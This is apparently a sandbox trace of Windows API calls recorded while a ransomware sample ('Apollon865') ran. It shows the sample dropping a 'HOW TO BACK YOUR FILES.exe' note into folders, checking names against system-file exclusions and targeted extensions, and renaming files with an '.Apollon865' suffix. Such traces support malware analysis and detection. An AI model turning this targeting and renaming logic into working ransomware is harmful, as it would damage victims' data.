	[0077.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.apollon865"), dwFlags=0x1) returned 0
	[0077.037] GetLastError () returned 0x5
	[0077.037] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml MoveFileEx error 5\r\n") returned 112
	[0077.037] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml MoveFileEx error 5\r\n") returned 112
	[0077.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8
	[0077.037] SetFilePointer (in: hFile=0xd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x43f5
	[0077.037] WriteFile (in: hFile=0xd8, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x70, lpOverlapped=0x0) returned 1
	[0077.037] CloseHandle (hObject=0xd8) returned 1
	[0077.037] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0077.037] CloseHandle (hObject=0x0) returned 0
	[0077.037] CloseHandle (hObject=0x0) returned 0
	[0077.037] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0
	[0077.037] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.037] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0077.037] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad"
	[0077.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0077.038] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0077.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad") returned 71
	[0077.038] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad"
	[0077.038] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.041] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45fe39b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45fe39b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.042] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.042] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.042] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.042] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45fe39b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45fe39b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.042] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.042] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.042] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.042] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.042] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2=".") returned 1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="..") returned 1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="windows") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="bootmgr") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="temp") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="pagefile.sys") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="boot") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="ids.txt") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="ntuser.dat") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="perflogs") returned -1
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2="MSBuild") returned -1
	[0077.042] lstrlenW (lpString="auxbase.xml") returned 11
	[0077.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*") returned 73
	[0077.042] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="auxbase.xml" | out: lpString1="auxbase.xml") returned="auxbase.xml"
	[0077.042] lstrlenW (lpString="auxbase.xml") returned 11
	[0077.042] lstrlenW (lpString="Apollon865") returned 10
	[0077.042] lstrcmpiW (lpString1="uxbase.xml", lpString2="Apollon865") returned 1
	[0077.042] lstrlenW (lpString=".dll") returned 4
	[0077.042] lstrcmpiW (lpString1="auxbase.xml", lpString2=".dll") returned 1
	[0077.042] lstrlenW (lpString=".lnk") returned 4
	[0077.043] lstrcmpiW (lpString1="auxbase.xml", lpString2=".lnk") returned 1
	[0077.043] lstrlenW (lpString=".ini") returned 4
	[0077.043] lstrcmpiW (lpString1="auxbase.xml", lpString2=".ini") returned 1
	[0077.043] lstrlenW (lpString=".sys") returned 4
	[0077.043] lstrcmpiW (lpString1="auxbase.xml", lpString2=".sys") returned 1
	[0077.043] lstrlenW (lpString="auxbase.xml") returned 11
	[0077.043] lstrlenW (lpString="bak") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.043] lstrlenW (lpString="ba_") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.043] lstrlenW (lpString="dbb") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.043] lstrlenW (lpString="vmdk") returned 4
	[0077.043] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.043] lstrlenW (lpString="rar") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.043] lstrlenW (lpString="zip") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.043] lstrlenW (lpString="tgz") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.043] lstrlenW (lpString="vbox") returned 4
	[0077.043] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.043] lstrlenW (lpString="vdi") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.043] lstrlenW (lpString="vhd") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.043] lstrlenW (lpString="vhdx") returned 4
	[0077.043] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.043] lstrlenW (lpString="avhd") returned 4
	[0077.043] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.043] lstrlenW (lpString="db") returned 2
	[0077.043] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.043] lstrlenW (lpString="db2") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.043] lstrlenW (lpString="db3") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.043] lstrlenW (lpString="dbf") returned 3
	[0077.043] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.044] lstrlenW (lpString="mdf") returned 3
	[0077.044] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.044] lstrlenW (lpString="mdb") returned 3
	[0077.044] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.044] lstrlenW (lpString="sql") returned 3
	[0077.044] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.044] lstrlenW (lpString="sqlite") returned 6
	[0077.044] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0077.044] lstrlenW (lpString="sqlite3") returned 7
	[0077.044] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0077.044] lstrlenW (lpString="sqlitedb") returned 8
	[0077.044] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0077.044] lstrlenW (lpString="xml") returned 3
	[0077.044] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.044] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.Apollon865") returned 94
	[0077.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.apollon865"), dwFlags=0x1) returned 0
	[0077.044] GetLastError () returned 0x5
	[0077.044] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml MoveFileEx error 5\r\n") returned 112
	[0077.044] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml MoveFileEx error 5\r\n") returned 112
	[0077.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.044] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4465
	[0077.045] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x70, lpOverlapped=0x0) returned 1
	[0077.045] CloseHandle (hObject=0xc0) returned 1
	[0077.045] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0077.045] CloseHandle (hObject=0x0) returned 0
	[0077.045] CloseHandle (hObject=0x0) returned 0
	[0077.045] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45fe39b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45fe39b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.045] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.045] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45fe39b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45fe39b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0077.045] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.045] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b50
	[0077.045] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR"
	[0077.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591ac0 | out: hHeap=0x580000) returned 1
	[0077.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0077.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR") returned 56
	[0077.045] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR"
	[0077.045] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.045] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.051] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45fe39b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45fe39b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.051] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.051] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.051] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.051] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45fe39b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45fe39b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.051] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.052] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.052] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.052] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.052] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45fe39b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45fe39b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.052] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.052] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.052] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*") returned 58
	[0077.052] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.052] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.052] lstrlenW (lpString="Apollon865") returned 10
	[0077.052] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.052] lstrlenW (lpString=".dll") returned 4
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.052] lstrlenW (lpString=".lnk") returned 4
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.052] lstrlenW (lpString=".ini") returned 4
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.052] lstrlenW (lpString=".sys") returned 4
	[0077.052] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.052] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.052] lstrlenW (lpString="bak") returned 3
	[0077.052] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1
	[0077.052] lstrlenW (lpString="ba_") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1
	[0077.053] lstrlenW (lpString="dbb") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1
	[0077.053] lstrlenW (lpString="vmdk") returned 4
	[0077.053] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1
	[0077.053] lstrlenW (lpString="rar") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1
	[0077.053] lstrlenW (lpString="zip") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1
	[0077.053] lstrlenW (lpString="tgz") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1
	[0077.053] lstrlenW (lpString="vbox") returned 4
	[0077.053] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1
	[0077.053] lstrlenW (lpString="vdi") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1
	[0077.053] lstrlenW (lpString="vhd") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1
	[0077.053] lstrlenW (lpString="vhdx") returned 4
	[0077.053] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1
	[0077.053] lstrlenW (lpString="avhd") returned 4
	[0077.053] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1
	[0077.053] lstrlenW (lpString="db") returned 2
	[0077.053] lstrcmpiW (lpString1="ui", lpString2="db") returned 1
	[0077.053] lstrlenW (lpString="db2") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1
	[0077.053] lstrlenW (lpString="db3") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1
	[0077.053] lstrlenW (lpString="dbf") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1
	[0077.053] lstrlenW (lpString="mdf") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1
	[0077.053] lstrlenW (lpString="mdb") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1
	[0077.053] lstrlenW (lpString="sql") returned 3
	[0077.053] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1
	[0077.053] lstrlenW (lpString="sqlite") returned 6
	[0077.053] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1
	[0077.053] lstrlenW (lpString="sqlite3") returned 7
	[0077.054] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1
	[0077.054] lstrlenW (lpString="sqlitedb") returned 8
	[0077.054] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1
	[0077.054] lstrlenW (lpString="xml") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1
	[0077.054] lstrlenW (lpString="$er") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1
	[0077.054] lstrlenW (lpString="4dd") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1
	[0077.054] lstrlenW (lpString="4dl") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1
	[0077.054] lstrlenW (lpString="^^^") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1
	[0077.054] lstrlenW (lpString="abs") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1
	[0077.054] lstrlenW (lpString="abx") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1
	[0077.054] lstrlenW (lpString="accdb") returned 5
	[0077.054] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1
	[0077.054] lstrlenW (lpString="accdc") returned 5
	[0077.054] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1
	[0077.054] lstrlenW (lpString="accde") returned 5
	[0077.054] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1
	[0077.054] lstrlenW (lpString="accdr") returned 5
	[0077.054] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1
	[0077.054] lstrlenW (lpString="accdt") returned 5
	[0077.054] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1
	[0077.054] lstrlenW (lpString="accdw") returned 5
	[0077.054] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1
	[0077.054] lstrlenW (lpString="accft") returned 5
	[0077.054] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1
	[0077.054] lstrlenW (lpString="adb") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0077.054] lstrlenW (lpString="adb") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1
	[0077.054] lstrlenW (lpString="ade") returned 3
	[0077.054] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1
	[0077.054] lstrlenW (lpString="adf") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1
	[0077.055] lstrlenW (lpString="adn") returned 3
